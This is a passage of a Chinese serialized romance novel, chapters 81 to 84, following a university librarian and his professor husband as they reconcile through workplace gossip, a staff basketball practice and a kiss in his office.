并且追求者非常懂得把握追求者与老公的界限,哪怕岑康宁主动愿意让出一个卧室的居住权,并把那辆拉风的赛博皮卡还给他。 他却依然拒绝。 每天开着另一辆宝马X5上下班接送岑康宁同时,在同一栋公寓里租下了另一套房间。 祁钊原话是这样说的: “协议里承诺给你的,现在就是属于你的东西。” 从某个角度来说,祁钊作为追求者确实还算合格吧,作为前夫哥也算很有骨气。 但隐隐地,岑康宁还是有点儿不太满意。 一个是不满意此人增重的速度。 太慢了。 照这个越来越慢的架势,岂不是要两三个月才能完完全全把那丢掉的17斤涨回来? 另一个…… 姓祁的怎么追人只会当司机送早餐啊? 好笨! 连一只猫之前都会在游戏里送心型烟花来讨自己开心,到目前为止,除了热牛奶豆浆,岑康宁却还是没有等到祁钊任何玫瑰花,任何爱心。 倒也不是岑康宁真的缺这些东西。 可是情侣之间不就是这些小把戏吗? 尤其是,当岑康宁上班以后在玉姐这里吃了满满一嘴狗粮,衷心祝福玉姐幸福快乐以后。 玉姐开心地说:“太好啦,今年双十一终于不用过光棍节!” 玉姐倒是开心了。 岑康宁却不太开心 他想,这回过光棍节的好像变成了自己。 虽然他说了暂时还不能原谅祁钊。 但祁钊难道就不能稍微霸道一点,在送他回家的时候,强行把他按在墙上亲? 而且一个人晚上睡觉真的很冷。 进入十一月以后就愈发的冷。 A市没有暖气,祁钊给他的那所公寓又大,光是主卧室就差不多有七八十平。 那么空旷的一间卧室,那么大的一张床。 多睡一个人又怎么样? 所以祁钊到底哪里来的那么多钱,不是都分给他了吗?怎么还有钱去楼下租房间? 想到这里岑康宁忍不住就给某个很笨的追求者发微信,打字: “你今天是不是忘记说什么了?” 过了一会儿。 很迅速地,追求者发来回复: “喜欢你。” “很喜欢你。” “每一天都比昨天更加喜欢你。” 作者有话说: [三花猫头][三花猫头] 没有什么波折啦,但还是想让他们稍微玩玩恋爱的拉扯小游戏,belike夫夫情趣,再甜一甜[玫瑰][玫瑰] 第82章 被哄开心了。 唇角的弧度一点儿一点的翘了起来。 像偷吃到零食的猫,光是吃饱了还不够,吃完以后要反复回味舔舔爪子。岑康宁把手机拿在手上,反复地看了五六遍回复都没舍得切走界面。 直到耳边不停地响起李明玉的呼唤: “小岑老师,小岑老师?” 岑康宁被唤地刚想回神。 她便掩面一笑,打趣他:“看什么呢?是不是在给老公发消息?” 岑康宁迅速放下手机:“哪有!他才不是我老公。” “他?是谁啊?” 李明玉明知故问:“该不会是那个小岑老师很关心的我的导师吧?” 岑康宁:“……” 很好。 该来的总会来。 他也终于意识到这个真理。曾经在玉姐面前撒过的谎言,终于也到了他该偿还的时候。 岑康宁试图组织一番语言:“那个玉姐你听我……” “解释就不必了。” 李明玉干脆利落地摆手:“我懂,我都懂,无非就是在一个学校上班,需要避嫌嘛!” 岑康宁面露愧疚:“我……” “没什么,真的没什么。” 李明玉又重复道:“我也真的是一点儿都不会生气小岑老师隐瞒我的事儿,除非——” “除非?” “除非你告诉我你们是怎么认识怎么相恋又是怎么结婚的!” CP粉李明玉睁圆了一双眼睛,眼神亮晶晶地看着岑康宁。 岑康宁:“……” 不得不说。 顶着这样的眼神,他真的是亚历山大。 但他一直以来都瞒着玉姐也是事实。 而且本来他觉得自己隐瞒的还挺好的,直到那天他送完祁钊去医院才后知后觉——等等,为什么玉姐当时那么激动地第一时间把消息告诉自己? 他好像平时也没那么关心祁钊吧? 难道说? 他暴露了? 后来事实证明的确是暴露了,而且是在他不知道的时候就暴露了个彻底。 玉姐早就知道他结婚了。 也知道他其实是隔壁学校土木工程专业小嫩草这个事实。 而且在不知情的情况下。 玉姐竟然磕了俩人的拉郎CP! 不过饶是如此,岑康宁此刻却也必须残忍地实话告诉玉姐:“可能要让你失望了,我们俩现在正在分手中。” 李明玉却并不感到意外:“我当然知道啊。” 岑康宁愣了愣:“嗯?你怎么知道的?” 李明玉欲言又止:“这个……” 她要不要告诉小岑老师,钊哥在组会结束后曾经集思广益过该如何追人呢? 想了想,李明玉还是没说,决定给小岑老师保留一些惊喜。 便说起另一个话题来。 “前段时间小岑老师你不是一直心情不好吗?再加上钊哥消失了一个月,猜也能猜得出。” 说起这一个月,岑康宁脸上的笑意亦是淡了点儿。 “谁说不是呢。” 他手指轻扣桌面,不无憋闷地说。 李明玉:“但恐怕要不了多久就能和好吧?毕竟某教授开白色宝马X5每日接送爱妻的新闻可是已经飘在校园墙上好久了。” “噗——” 岑康宁差点儿没把刚喝进嘴里的牛奶喷出来,他一脸震惊:“什么爱妻?” “可不就是爱妻!” 李明玉绘声绘色描述起一周前的某个场景: “120来的时候,问家属在不在?小岑老师疯狂举手,说家属在这里,家属在这里!然后全校就都知道了,祁教授的家属在图书馆,还是有证的那种。” “……我怎么不记得当时我说这句话了?” “可能当时小岑老师比较紧张吧。”作为目击证人的李明玉记忆异常清晰:“小岑老师看上去就是那种特别担心特别担心的样子。” 岑康宁:“……” 过了好一会儿,他方勉强承认:“好吧,可能的确是我。但当时情况紧急,我怕如果我不承认会耽误他治疗,所以不得不那么说。” 李明玉兴致勃勃:“不得不?所以,其实不是吗?” 岑康宁犹豫地看了眼显然被吊起胃口的李明玉,又看了眼四下无人的周围。 周内的上午学生比较少。 基本都在上课,所以不会有人打扰到两人。 再加上夏老师也退休了,所以…… 想了想,岑康宁还是没忍住,一股脑地将自己的事情跟玉姐分享了出去。 人其实都有分享欲。 岑康宁自然也不例外。 而若是说这些事适合跟谁分享而不必担心对方觉得无聊的话,那人一定非玉姐莫属了。 于是岑康宁一通分享。 从俩人是如何相亲见面,到前两天他是怎么发现这人其实是自己五年前白月光的事情全说了。 顺带把此人表白有多么隐晦也说了。 当然也少不了吐槽他体重最近增长的如此缓慢,缓慢地简直令人焦虑。 说完以后像是所有陷入恋爱中的人一样,岑康宁义愤填膺地在玉姐这里寻求认同感: “玉姐你说,我是不是应该生气?” 李明玉:“好甜。” 岑康宁:“?” 李明玉差不多已经被甜晕了,这会儿除了好甜好甜基本上什么都说不出来。 如果非要她说的话,那就只剩下这句: “摩多摩多。” “……”作为一条常年在互联网冲浪的咸鱼,岑康宁自然明白摩多摩多是什么意思,可这是摩多摩多的时候吗? 他甚至开始怀疑自己。 自己刚刚不是在抱怨吗? 李明玉却显然理解偏差到了另一个次元。 “玉姐,你是不是没听清楚,我是在问,我是不是该生气。” 李明玉严肃脸:“我听清楚了,确实该生气,狠狠地生气!所以,要不您就罚他每天接送你!” 岑康宁:“这难道不是奖励?” 李明玉小心翼翼看了眼岑康宁,说:“小岑老师,有些话我不知道该不该说。” “说吧。” 岑康宁道。 “其实我也有点儿纠结,感觉说这些好像偏心钊哥一样,因为小岑老师你也是我的好朋友,我不该帮任何人的。不过……” 顿了顿,像是做出某种艰难的决定,李明玉仍是决定开口:“我觉得按照小岑老师你刚刚的描述,如果我不说的话,可能这辈子钊哥都不会告诉你。” 岑康宁听到自己心脏咯噔一声响。 他有预感,李明玉即将说出口的事并非是什么插科打诨,而是一件非常非常重要,重要到李明玉不惜抛弃公正立场,也要说出口的事情。 “你说……” 他决定心平气和地聆听。 但没想到李明玉才刚说完第一句,他就完全心平气和不下来。 “我们也是后来才知道,为了小岑老师您的永久编制问题,钊哥似乎跟学校做了利益交换。” “……什么交换?” “具体的情况我也不太清楚,毕竟那都是上层才知道的秘密。不过我只知道一点就是,好像以后钊哥的所有论文,不管他人在哪里,都得带上P大。” “小岑老师,您可能不是科研圈的不太了解这件事的严重性,你要知道答应了这一条以后,等于说钊哥很难在其他学校再找到教职工作了……因为每个学校都希望自己成为论文的唯一依托单位,否则的话,科研能力跟教学能力再好,学校也是不想要的。” “尤其是像钊哥这种级别的准杰青……他一个项目需要牵扯的项目资金等等都太庞大了,不可能会有学校愿意为他人做嫁衣。” “所以,他等于是把自己下半辈子的职业生涯都跟P大绑定了,才获得了小岑老师你的永久编制不受他短暂离开的影响。” “虽然我不知道上个月他身上到底发生了什么事情,但我想,能做出这样的准备,恐怕钊哥他自己也没办法估计自己什么时候可以回来。而且看那样子他似乎也是做好了他很长时间都没办法回来的准备,所以才……” “……才没告诉我。” 安静的馆内。 岑康宁的声音轻轻响起。 李明玉点头,亦是轻声:“是的,小岑老师。” 岑康宁很久没说出话来。 因为他此刻心情复杂,五味杂陈,各种情绪混杂在一起,根本不知道先说什么好。 他很想说祁钊你是不是傻? 平时看上去不是很厉害很喜欢科研的吗? 为什么现在却愿意用一个小小的编制来换取将来几十年的职业生涯。 又想说拜托祁教授,以后你做决定以前能不能先问问我的意见。 有没有一种可能。 岑康宁对这个编制也没什么执念。 尤其是祁钊都把房子车子存款全给他了,这个编制存不存在其实对岑康宁影响都不大。 P大不要他了正好。 反正财富自由,他去哪里上班都无所谓。 甚至不上班也行。 但祁钊竟然为了他做出这样的允诺……难怪祁钊离职的消息刚一传开,胡副馆长就找到了他,要他继续安心上班。 原来是这个原因。 岑康宁感觉眼眶莫名酸了酸,好像是风有点儿大,把楼底下的沙子吹了进来。 于是他站起身,念叨着要关上窗户。 可走到窗户跟前才发现,什么楼底下的沙子,图书馆窗户压根儿没开。 透明窗户里映出的只有一个被感动的眼睛像兔子一样红就快哭出来的岑康宁。 那个岑康宁慢慢地眨了眨眼,随后攥紧了掌心。 “好笨。” 岑康宁其实想给祁钊这样发送微信。 但转念又一想,祁钊可能在忙着做实验吧?毕竟这人是个工作狂魔,拉下了一个月的进度,最近肯定在疯狂补进度。 所以岑康宁虽然嘴上说着嫌弃某人不会追人。 但其实一点儿都不着急。 他知道祁钊最近肯定忙得晕头转向。 学生的交接,实验室的数据,还有马上要评的杰青……这些事儿任意拿一个出来都能让一个普通大学老师忙晕。 祁钊却在有条不紊地同时进行。 且通过玉姐的只言片语了解到,他还进行的非常之顺利。 这件事除了让岑康宁感觉到,神就是神,跟普通人完全不是一个DNA序列以外。 还让岑康宁再次感觉到一点:那就是祁钊在遇到自己的问题相关的时候,是有那么有点儿笨在身上的。 “他为什么不问问我再做决定?” “问你你肯定说不需要。” “倒也是……” 岑康宁却还是耿耿于怀道:“这协议可以毁约吗?有没有真实法律效益?” 李明玉摇摇头:“我不知道具体他们是怎么达成的,只是有传闻传出来。但小岑老师你懂得,无风不起浪,如果真的没有这回事儿,传闻也不会飘出来。” 岑康宁垂下眼讷声:“但我宁可不要这个编制……” 李明玉说:“关于这点,其实钊哥找我聊过。” “他还找过你?” “对,那天所有人都离开以后,他微信上找过我。”李明玉回忆道:“他先是指导了一下我的论文,然后就说要问我一个跟课题无关的事情。” “什么事儿?” “他问我,小岑老师在图书馆上班的时候开不开心。” “……” “我实话实说了。” 李明玉有些不好意思地看了眼岑康宁:“对不起啊小岑老师,我当时没多想,就说了实话。因为从我个人的角度来看,感觉您平时上班的时候还是挺开心的。” 岑康宁怔了下,但很快摇摇头,笑着说没关系。 毕竟李明玉说的不错。 在排除其他因素的影响下,这份工作他的确做的很开心。 首先是开始在图书馆工作以来,岑康宁一下子拥有了前二十多年从未有过的松弛感。 从小到大。 岑康宁的身后仿佛随时都有一只疯狗在追。 无论岑康宁跑到了哪里,重点高中还是Q大,那狗都一边追他一边说: “不能停,你要变得更优秀,你要赚大钱!” “下个月的生活费还没有,你怎么敢停?” “别忘了助学贷款你还没还,不许停——” 直到进入图书馆以后。 他发现原来人还可以这么轻松的活。 没有狗在追,每个月按时会有工资打过来,上班的内容也轻轻松松,甚至没有什么人际关系需要处理。 当真是完美工作。 挑不出半点儿毛病。 其次,在图书馆上班的悠闲时光中,除了最开始那段儿无所事事的日子,其实后来岑康宁也没闲着。 他没有告诉任何人, 但他的确在不断地看书,看各种各样的书。 其实岑康宁并不喜欢自己曾经的专业,但从前除了吃吃喝喝以外他也的确没什么自己的兴趣爱好。 说起爱好来绝对非常茫然。 因为岑康宁根本说不出除了兼职打工以外的东西。 但现在不一样了。 通过看书,他喜欢上了很多东西。 文艺馆里的小说暂且不谈,他确实也看了不少狗血小言跟男同文学。 但文艺馆里其实还有他喜欢的其他藏书。 比如说有关电影相关的书;有关中世纪雕塑艺术的书,很多他感兴趣的东西他通过看各种各样的书他得以慢慢确认。 那种感觉其实很新奇,就好像通过那一本本书籍,整个世界在自己面前重新被打开了一般。 很奇妙的感觉。 另外在隔壁医学馆。 岑康宁也开始慢慢借阅动物医疗相关的书籍。 现在他还只是一个完完全全的门外汉,但毋庸置疑随着时间推移,那些知识会一点一点的留在他的脑子里。 岑康宁甚至想过,如果自己真的喜欢,也不排斥的话。 也许将来有一天。 他可以辞职不干,去当一个兽医。 毕竟岑康宁今年也才22岁,人生才刚刚开始,不是吗? 说实话就是。 图书馆这份工作远比他想象的还要更好。 因为它不止是一份可以让岑康宁安定下来的工作,更是意味着一种重启人生的可能性。 所以如果有可能的话,岑康宁当然想尽量干下去。 直到他找到人生的真正方向。 可当然……尽管有着这样那样的优点,岑康宁却从未觉得这份完美工作比祁钊的未来更重要过。 毕竟在任何人看来。 一份虽然稳定但没有任何上升空间,谁来都可以的图书馆工作,怎么能跟祁钊将来的职业生涯比呢? 那可是祁神。 二十六岁就在斯坦福当教授的人。 马上要评杰青将来要成为最年轻院士的顶级科研巨佬。他的职业生涯不比一百个图书馆编制值钱? 就算岑康宁在图书馆干几年最后成了兽医又如何? 只是一个最普通不过的兽医而已。 就连岑康宁自己也几乎要这么认为了。 祁钊却完全站在了相反的方向。 在祁钊看来,显然,岑康宁的喜欢更重要。 仅仅只是因为岑康宁喜欢而已。 他就能坚定不疑地把自己的将来绑定在P大。 不是说P大不好,P大很好,可祁钊的将来应该是掌握在自己手中,不应因任何人而停留。 他是桀骜的鹰。 应当永远自由地翱翔于广阔天地。 然而话虽如此。 岑康宁却又蓦地想起一件曾经的往事来。 他记得五年前,祁钊还是自己护工的时候,当时,祁钊其实应该只有一周的假期。 岑康宁偷听到他的电话。 电话那头有人用英文很着急地催他赶快回去。 岑康宁不敢直接问祁钊,就偷偷问护士长,问那个冷冰冰的护工哥哥是不是要走了? 护士长说对,他就在这边干一星期。 岑康宁当时有些遗憾地想,一个星期啊,那岂不是他做完手术就再也见不到他了? 岑康宁已经做好了一个人度过黑暗恢复期的准备。 可几天后。 按理来说已经在飞机上的祁钊照常推开了病房门,冷冰冰地陪他待到了下一个星期。 原来那时候祁钊就有点儿笨了。 五年过去,他竟然一点儿也没变聪明,甚至愈演愈烈。 作者有话说: CP粉上大分![加油][加油] 第83章 岑康宁在再次感叹于祁教授的不聪明以后,却并没有时间去在微信上“指责”他的不聪明。 原因是今天下午下班两人没见面。 五点钟刚一到,胡副馆长就带着一帮图书馆“大将”乌央乌央地去体育馆了。 岑康宁自然也是“大将”之一。 事实上,他甚至是主将。 因为在一群中年发福的大学编制内教师中,像他这样身材还没走型,运动能力也还没下降的小年轻真的非常少见。 以至于当岑康宁老实交代: “我不会打篮球,只是上大学的时候简单选修过”的时候。 胡副馆长简直像看到P大库里一样地看向岑康宁。 “好啊好啊,小岑同志你竟然还选修过篮球!这不是正合适吗?我们的队伍里就缺少你这样的人才!” 就这样,岑康宁成了图书馆队的主将。 下班以后准时出现在体育馆训练。 胡副馆长对此表示十分满意: “很好很好,今天我们人也齐了,照这样训练下去,我们图书馆队岂不是要拿今年P大教职工杯的冠军?” “那可真是‘放卫星’了!” 胡副馆长说。 “冠军”队伍中,有人忍不住调侃:“老胡,那要是我们能拿冠军,有没有什么奖励?” “当然有了!” 胡副馆长摸着自己的光明顶信誓旦旦保证:“我保证至少一人一个保温杯,一件P大文化衫。” “切——” 队伍中顿时响彻一阵嘘声。 看得出来,大家对那个万年没变过的保温杯跟文化衫并不怎么感兴趣。 不过话虽如此,训练的时候大家还是挺有劲儿的。 毕竟教职工杯一年一度。 含金量是有的。 再加上体制内的中年人大多不服老,都还有一颗当流川枫的心,所以篮球场上很快热火朝天起来。 然而很不幸的是,理想归理想,现实归现实。 饶是大家都卯足了劲儿,在场上跑了一会儿后,便都纷纷气喘吁吁起来。 这时候岑康宁的重要性就显露了出来。 作为场上唯一一个还不到25岁的小年轻,岑康宁几乎包揽了图书馆队所有“脏活累活。” 带球过人,他的。 传球,他的。 投篮上分的任务,还是他的。 ……甚至连捡球跟给对手面子喂球这件事都是他的,因为其他同事们大多腰不太好,没办法频繁弯腰。 第十次跑出去捡球以后,出了一身热汗的岑康宁喘着粗气想: 他这个编制拿得真的半点儿不亏心。 所以凭什么P大还敢要求祁钊的论文署名? 到底凭什么? 岑康宁抱着篮球越想越生气,已经决定在训练完以后找老胡好好掰扯掰扯这件事的时候,忽然,手边儿被递了一条毛巾。 那毛巾是白色的。 看上去应该很柔软也很吸汗。 自打岑康宁开始在体育馆训练以后,时不时就有人像这样主动献殷勤。 有时是毛巾有时是矿泉水。 岑康宁一般都会礼貌拒绝。 但今天却不太一样,当他正准备像以往一样说出“谢谢啊但我自己有”的时候,很猝不及防地,那条毛巾竟然直接覆在了他的脸上。 岑康宁人都要懵了。 正要生气。 结果熟悉的柠檬海盐味儿飘了过来。 他呼吸一滞的同时,听到祁钊冷清的嗓音在自己身侧响起: “擦擦。” 岑康宁:“……” 然后他就像是被施加了某种定身术一样,蓦地被定在原地,老实地任由那条毛巾一点一点擦干了脸上的汗。 还不够。 擦完脸后祁钊又换了一条毛巾,开始慢慢地很细致的给他擦脖子。 单纯从身体的感受上来说其实这样真的很舒服。 因为祁钊的毛巾应该是某种比较好的品牌毛巾,吸汗能力很强的同时,非常之柔软,软到一点儿都不会给皮肤带来摩擦感的同时,还能把所有汗都吸走。 与此同时,毛巾上传来的气味也很好闻。 淡淡的海盐柠檬,是岑康宁熟悉的,喜欢的味道。 如果这些事发生在他二百平大的公寓楼里,岑康宁一定会非常非常享受,并且甘之如饴。 可问题是,这是在体育馆啊! 人来人往。 可以足足容纳上万人的体育馆。 又因为祁钊跟岑康宁多少有点算“校园名人”的意思,很快两人的互动就吸引了无数人注意。 好比现在。 岑康宁就听到了背后有女生在小声尖叫。 “啊!真的好甜!” 正享受VIP擦汗服务的岑康宁努力绷住脸色,试图面无表情忽略这一声尖叫。 但紧接着,越来越多不容忽视的声音传到了他的耳朵里。 “太甜了太甜了,之前有人跟我说这对儿CP我还不信,我心想神怎么可能有CP呢,结果现在一看,是删号哥的话那就非常合理。” “对对,天呐,太配了。我第一次知道这俩人竟然是两口子的时候竟然还觉得不可思议,现在看来分明就是天造地设的一对儿哪里轮得到我这个妖怪多嘴。” “来来来补课了,还有人不知道删号哥跟祁神在图书馆上演图书馆之恋之我是他家属,法定有证的这一集吗?” “你这是什么老课件!拜托现在新课件可是重生之老公每天都开宝马X5送我上班好不好?” “啧啧啧,这么一说那马上要有新课件了,起什么名字好呢?叫我跟老公合体在体育馆当众撒糖虐狗怎么样?” “……” 嗯,删号哥的话现在是岑康宁的外号。 也可以称作为别称。 起因是岑康宁当初在宣传片里的惊鸿一瞥,全校上下那天开始就知道了P大竟然存在着这么一个美人。 后来阴差阳错地。 因为祁钊的缘故,宣传片里的镜头被删掉。 又众所周知地,但凡是在弹幕区乱喊老婆的人全被莫名其妙举报了。 甚至还有几个不信邪多次发疯的直接被举报到封号。 这事儿一下子就长了翅膀一样在学生中间传开了,而又双叒众所周知的是,大学生绝对是最叛逆的群体。 还是P大的大学生。 怎么可能屈服于一个举报狂魔呢? 于是乎从那天开始,图书馆三楼那个长得非常漂亮性格也好每天笑眯眯的岑老师就有了一个学生中口口相传的外号: “删号哥。” ——可真难听,岑康宁想。 而且明明是祁钊做的事儿,怎么被起外号的成了自己? 想到这里他嗔怪着,没有杀伤力地红着脸看了某人一眼,但坏消息是,某人毫无所觉。 用毛巾给岑康宁擦完汗以后。 祁钊又适时递来了一杯温蜂蜜水。 是的,在别的老师们大汗淋漓后都基本上都得喝一杯冷冰冰矿泉水的时候。 岑康宁获得了一杯温度适宜的蜂蜜水。 喝下去以后不仅不会对肠胃产生刺激。 而且甜甜的,正好可以补充方才因训练而消失的体力。 不仅如此,岑康宁在接过蜂蜜水后很快又看到,在祁钊的座位旁除了电脑以后,还放着一个小小的“百宝箱。” 百宝箱里有毛巾,蜂蜜,士力架,巧克力,运动功能饮料…………甚至还有换洗的新衣服。 出了一身汗,身上衣服早就变得黏黏腻腻的岑康宁看到这件衣服以后眼睛都要看直了。 顾不得其他人说什么,他满心满眼地看着那件上衣,此时脑袋里就一个想法: “我想换衣服。” 但事实证明人可能真的不能在别人面前明晃晃地过的那么舒服。 早在岑康宁有人擦汗的时候身后的其他老师们就盯上了他。 喝蜂蜜水的时候。 老师们愈加无法忽略。 而现在竟然还能换衣服了?众人不由得看了眼自己身上快被汗全部打湿的汗衫,又看了眼手里冷冰冰的矿泉水。 心啊。 哇凉哇凉的。 登时,很多人就看不过去眼了,半开玩笑地起哄道: “小岑老师,快回来训练吧!” “知道你们夫妻感情好,但我们的狗粮真快吃撑了!” “对啊对啊,快回来,我们继续训练。” 就连胡副馆长也补了一句:“新婚燕尔,小夫妻感情确实好。” 其实大家说这些话也没有很多恶意。 大部分是出自调侃,可能有一点点心里不平衡,但绝对不多。 只是这些话听在岑康宁耳朵里就不太是那么回事。 岑康宁不由得想到,也许就是眼前这些人,要求祁钊必须留在P大,才可以继续保留岑康宁的图书馆编制。 倒也没错。 毕竟现场除了图书馆队以外。 对手就是所谓的“机关队”。 机关队也就是领导队的别称,里面有好几个老当益壮的校领导。 虽然岑康宁并分不清这些人到底谁是谁,但其中有几张脸,他确实觉得有些熟悉。 那就不要怪他了…… 岑康宁想,谁让你们欺负我笨笨的准男友呢? 于是乎下一轮训练开始。 岑康宁就多了一点儿“小动作”。 具体但不限于把球故意传得很远,让抢球的领导多跑几步;又或者是在抢球的时候故意跑快一点,把节奏带快,让领导也下意识地快跑。 又或者偶尔吹两句彩虹屁。 将领导的运动能力高高架起。 这样所导致的结果也很明显,下半场球过去不过十多分钟,不少领导们就已经扛不住了。 等一场训练赛打完。 好几个领导已经顾不上面子,累得气喘吁吁。 “今天好累啊,怎么感觉比前几天打完都累。” “是的,我也这么觉得。” “哎呀不服老不行了,我这老胳膊老腿的真经不起折腾。” “谁说的?X院长我看你刚刚很有当年风范嘛!” “别别,Y处长你可别夸我了,再夸下去我可真扛不住了。” 一堆中年老男人凑在一起一边大喘着粗气一边互捧,分明已经累垮了还要强撑。 岑康宁则在角落里,半眯着眼享受“帝王”待遇。 祁钊仔仔细细给他把身上的汗都擦干净了。 连头发丝都擦得干干净净,才把一件清爽的格子衬衫外套递给正抿着吸管喝蜂蜜水,眼睛滴溜溜乱转还时不时坏笑一声的岑康宁。 运动完以后的确有点冷。 但岑康宁接过衬衫后有点迟疑。 “我想先换一下里面的短袖,短袖刚刚都湿透了。” 当然也有他现在身上黏黏糊糊实在不舒服的原因。 但岑康宁最主要也是不想把一件儿新的阿玛尼衬衫直接穿脏。 多浪费呀。 岑康宁想。 但祁钊却不太赞同,首先是他认为:“冷,会感冒。” 毕竟是十一月份,温度已经下降的很厉害,尤其这会儿太阳差不多已经落山。 室内还好,室外温度基本上不超过十度。 已经是很容易感冒的温差了。 岑康宁最近体质不算特别好,所以祁钊有所担心也正常。 当然还有一个想法祁钊没告诉岑康宁,那就是他不想让岑康宁现在就去更衣室换衣服。 P大体育馆当然有更衣室。 可惜,哪怕是P大的体育馆也没发展到一人一间的程度。 然而岑康宁很坚持:“不行,我要先换。” 岑康宁如今就是皇帝。 祁钊的话是一点儿都不顶用。 祁钊只能妥协。 妥协的方式是用自己的外套把人团团包住,带到自己的办公室里。 好在生科院大楼距离体育馆不算特别远。 祁钊来的时候也就走了两三分钟,回去的时候带着一个大团子,路程多了两分钟。 不到五分钟的功夫。 两人就坐上了电梯。 五分钟后岑康宁撒欢一样将祁钊的外套往他的座位上那么一扔,然后就拿着他的干净换洗衣服蹦蹦跳跳跳去洗澡换衣服了。 是的,祁钊的办公室里有一个小小的淋浴间。 虽然很小。 但绝对够用。 可想而知这地方现在对于岑康宁来说就是有如旱了三年终于等到下第一滴雨一样珍贵。 其实岑康宁当然也不喜欢体育馆的更衣室。 他只去过一次,刚走到门口就被里头的味道熏晕了。 再然后领导们招呼他去换衣服的时候他都是把外套一穿拔腿就走。 这还是第一次。 他能在打完篮球以后舒舒服服洗个澡,然后换上干净又清爽的新衣服。 岑康宁很开心。 不过开心到哼着歌从淋浴间里走出来倒是连他自己也没想到。 办公室里。 就那么一小会儿的功夫,祁钊已经看完了一个学生的论文,给出批改意见。 见到岑康宁出来以后,祁钊先是给他拿吹风机,拿完吹风机以后看到岑康宁脸上怎么压都压不下去的笑意以后,没忍住就捏了下岑康宁的脸。 “这么开心?” “开心啊,洗完澡身上多舒服。” 岑康宁道。 祁钊却说:“不止这件事。” 岑康宁一怔,有些心虚地眨着眼:“那还能有什么事?” 祁钊不说话,只看他。 岑康宁脸红了,恼羞成怒:“就知道玉姐肯定告密!” 祁钊语气如常:“她说是为了公平。” “什么公平,一点儿都不公平,你又没交代她别告诉我,我可是专门用了一杯奶茶交代过的。” 但很快岑康宁说不出话来,因为他看到祁钊的办公桌上,那杯奶茶赫然出现。 “……好吧。” 岑康宁蔫儿了,像霜打过的小白菜一样失落地整个人滑在沙发上,闷闷不乐说:“那我就是生气,看不惯他们欺负你,不可以吗?” “可以。” 祁钊道:“你永远有生气的权利。” 岑康宁又碎碎念:“而且我也没有特别坏,就是小小的让他们多跑了会儿。” 祁钊说:“对,一点都不坏。” 但祁钊又补充道:“不过我觉得你也许误会了一些事情,也有可能是李明玉误导了你。” 岑康宁抬起脸来,茫然问:“我误会什么了?” 祁钊觉得岑康宁抬起脸来的样子真的很可爱,表情懵懵的,很像是一只小猫,于是汇精聚神好好看了一会儿,才忍住亲下去的冲动,慢慢说道: “我并没有把我的职业生涯绑定在P大。” “什么?!” “假如我需要,世界上任何一所大学都会很高兴为我打开大门。” 祁钊充满自信地说。 岑康宁彻底懵了:“可是玉姐不是说,大学都很注重依托单位吗?” “是很重视。” 祁钊道:“但前提是,我需要这个学校提供给我的各种头衔。” 终身教职。 杰青。 等等,都是属于类似的头衔。 岑康宁:“你不需要吗?” 祁钊说:“不需要。” 岑康宁感到不可思议:“但你知不知道,外面那些人为了这些头衔争得有多么激烈?夫妻反目成仇的都经常有。” “我知道。” 祁钊说: “但那些对我来说的确不重要,我只在乎我能不能顺利完成我的课题,哪怕只是以一个博士生的身份。” “……” 岑康宁彻底说不出话来,被祁钊纯粹的科研目的震惊到无与伦比。 但很快,接下来祁钊轻描淡写的话带给他新一轮的震撼—— “更何况,那些东西本来就不能跟你比。” 简简单单似乎不带有任何情绪的一句话,却像一把火一样,将岑康宁彻底点燃。 他觉得祁钊真的是太狡猾了。 分明那么笨笨的。 追人都不会,还学人去体育馆送水送毛巾。 还擅自的答应了一些非常不公平的交换条件,用很珍贵的署名权,换来了岑康宁可能根本不需要的短时间内的安稳。 可偏偏,就是这么笨笨的祁博士,让岑康宁完全控制不了自己。 他盯着祁钊那张总是说出一些傻话不太会表白的嘴唇,一股前所未有的冲动袭来。 下一秒。 只听砰的一声。 在祁钊惊讶的眼神中,安静的办公室里,红着脸的岑康宁把祁钊按在墙上—— 随后狠狠亲了下去。 “祁教授,你这是在玩火,知道吗?” 作者有话说: 霸总宁宁:男人,你不要再挑战我引以为傲的自制力了! 第84章 太久没有好好接吻过。 以至于岑康宁几乎已经忘记了那双唇的味道。 忘记了他只是看起来冷冰冰,实际上口腔的温度却异常火热;更加忘记了,原来,自己曾经是那样眷恋,舍不得离开这个人,这双唇。 “抱住我啊,笨蛋。” 他忍不住催促此刻浑身肌肉都在绷紧的男人。 好似已经完全忘记了,是谁一周前在医院里信誓旦旦地说过,除非祁钊把那十七斤养回来,否则他绝不愿意点头说愿意。 幸好的是。 祁钊也忘记了。 于是下一秒,浑身僵硬的男人果断反客为主。 岑康宁感觉到自己被很紧地抱住,唇被撬开,随后柔软的舌头探了进来,攻城略地。 …… 两人的关系进展到这一步。 虽然双方口口声声都说着要重新开始,从追求者的身份一步一步慢慢来。 但可想而知。 曾经发生过那么多次亲密关系的两人。 怎么可能又真的褪回一张白纸? 有些事情发生过就是发生过,哪怕脑子不记得,身体也记得。 生科大楼里的办公室不够隐蔽。 随时有被学生或者教授敲门打断的风险。 所以两人亲了一会儿后就默契地分开。 到也没关系,车上反正也还能亲。 在每一个红灯的路口,在学校地下停车场,在连光也进不来,只有彼此的昏暗角落里。 像是在彼此身上安装了吸铁石一样。 两人不一会儿就要被迫贴贴。 而终于,在经过了漫长的晚高峰期后,驶过繁华热闹的城市马路,宝马X5徐徐停入车库。 从这个时候开始。 就没有一个人说话了。 默不作声的神秘氛围笼罩在两人之间。 岑康宁感到自己被祁钊牵着的手掌心出了一层薄汗,黏黏糊糊的,但那汗水却与下午在体育馆因为打篮球出的汗不太一样。 打篮球出的汗纯粹是汗。 哪怕是自己的汗,岑康宁也稍微有点儿嫌弃。 所以迫不及待的就想洗澡换衣服,也不愿意把新衣服直接穿上,生怕新衣服被汗水浸透。 可此刻掌心里的汗却全然不同。 那种黏黏糊糊的感觉,似乎变成了一种暧昧、亲密的象征,也许还添杂了几分紧张与期待的情绪。 总而言之。 岑康宁对它并不完全讨厌。 甚至骤然被松开的一瞬,他感到隐约的失落感传来,可下一秒指纹锁被打开的声音却迅速地填充了这份失落。 这一次,换成岑康宁被按在墙上亲。 “呜……” 也许是因为回到了两人熟悉的私密空间,不再会有任何人打扰,这一次岑康宁明显感觉到,祁钊亲地更用力了。 那种感觉就好像是他变成了一块儿小蛋糕。 被祁钊张开嘴,毫不留情地吞咽了下去。 小蛋糕当然也不是没有过恐惧,毕竟那种身体完全不受自己掌控的感觉实在是太可怕。 似乎就连灵魂也被另一个人的灵魂所入侵霸占了一般。 但这种情况下。 蛋糕又怎么能抗拒得了呢? 于是被亲了嘴,又被亲了耳朵,还被轻轻地咬了喉结。 奶油都被亲化了。 蛋糕体也软地一塌糊涂。 